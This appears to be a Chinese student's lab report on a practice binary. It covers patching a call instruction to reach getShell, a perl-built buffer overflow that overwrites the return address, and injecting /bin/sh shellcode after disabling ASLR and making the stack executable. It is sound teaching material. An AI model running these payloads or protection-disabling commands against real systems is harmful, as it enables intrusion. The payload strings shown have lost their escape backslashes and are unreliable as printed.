zoukankan      html  css  js  c++  java
  • # 2018-2019-2 20165210《网络攻防技术》Exp1 PC平台逆向破解(BOF实验)

    2018-2019-2 20165210《网络攻防技术》Exp1 PC平台逆向破解(BOF实验)

    实验分为三个部分:

    1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
    3. 注入一个自己制作的shellcode并运行这段shellcode。

    这几种思路,基本代表现实情况中的攻击目标:

    1. 运行原本不可访问的代码片段
    2. 强行修改程序执行流
    3. 以及注入运行任意代码。

    一、直接修改程序机器指令,改变程序执行流程

    • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
    • 学习目标:理解可执行文件与机器指令
    • 进阶:掌握ELF文件格式,掌握动态技术
      首先:反汇编20165210_1文件
    objdump -d pwn1
    



    反汇编结束后你发现:main函数里面有一步call 804891,机器码指令为e8 d7 ff ff ff。进一步分析:08048491是,0804847d是我们的跳转目标。

    0x08048491 - 0x0804847d = 0x00000014  //计算地址差
    0xffffffd7 - 0x00000014 = 0xffffffc3  //计算要篡改的目标地址
    

    然后进入编辑文件,然后发现全是乱码,使用

    :%!xxd
    

    转换为16进制,用

    /e8d7
    

    来寻找e8d7ffffff机器指令

    找到以后按i进入插入模式,修改d7为c3,用

    :%!xxd -r
    

    换回乱码的状态,然后保存,再次

    objdump -d 20165210_1
    

    就发现改回来了

    然后运行一下

    就成功了

    二、通过构造输入参数,造成BOF攻击,改变程序执行流

    缓冲区溢出攻击,即BOF攻击。简单的说就是不合法的输入把子函数的返回地址覆盖掉了,通过这种方式修改函数的返回地址,使程序代码执行“意外”的流程。

    使用gdb命令,file 20165210_2载入20165210_2文件,r运行

    可以看到图中

    0x6c6c6b6b in ?? ()
    

    6c是l的ASCII码值6b是k的ASCII码值
    所以根据内容1中的getshell内存地址,修改输入字符串(注意要将实际地址反序录入),然后利用prel构建输入文件。

    perl -e 'print "aaaaaaaassssssssddddddffffgghhjjx7dx84x04x08x0a"' > input
    

    Perl -e:用于在命令行而不是在脚本中执行 Perl 命令;“|”管道:将第一条命令的结果作为第二条命令的参数来使用;
    然后用cat命令:

    (cat input; cat ) | ./20165210_2
    

    然后就成功了

    三、注入Shellcode并执行

    首先;下载execstack并安装

    apt-get install execstack
    

    设置堆栈可执行:

    execstack -s 20165210_3   //设置堆栈可执行
    execstack -q 20165210_3    //查询文件的堆栈是否可执行
    

    关闭地址随机化

    echo "0" > /proc/sys/kernel/randomize_va_space
    

    查询地址随机化是否关闭(0代表关闭,2代表开启)

    more /proc/sys/kernel/randomize_va_space
    

    整个过程中我们需要注入一段代码,和实验二里面使用的perl类似,我们首先构造一个input_shellcode:

    perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    

    首先在一个窗口运行

    (cat input_shellcode;cat) | .20165210_3;
    

    在另外一个窗口

    ps -ef | grep 20165210_3
    

    能看见当前运行20165210_3的进程号;
    在gdb里面attach 进程号进行调试,(gdb) disassemble foo反编译,设置断点,然后into r esp。

    0xffffd2fc+0x000004=0xffffd300
    

    然后修:改shellcode中的内容:

    perl -e 'print "A" x 32;print "x00xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00"' > input-shellcode
    

    运行:

    (cat input-shellcode;cat) | ./20165210_3
    

    四、过程中遇到的困难:

    1. 首先就是内容一中的将乱码转换为16进制,然后我改完没有再转回乱码,直接保存了,发现就不能反汇编了。
    2. 也是内容一就是找e8d7怎么找都找不到,/d7不行/e8不行/e8d7不行,最后打了/e8 d7才成功
    3. 最后还有就是内容三的设置断点阶段,我输入了continue发现在continuing就不动了,然后发现另一个终端还要回车一下(我也不是很懂为什么要回车),然后就可以继续进行了。
  • 相关阅读:
    编写可读性代码的艺术
    web前端常见的加密算法介绍
    git 遇到的问题
    Vue.js使用proxytable跨域的路径问题
    设置动画元素
    解决echarts图表在显示没有数据后再切换后渲染不出的问题
    svn回滚到之前的版本
    插件用法--视频播放video.js
    网页适配
    不跳转页面下载文件
  • 原文地址:https://www.cnblogs.com/lyklyk/p/10547323.html
Copyright © 2011-2022 走看看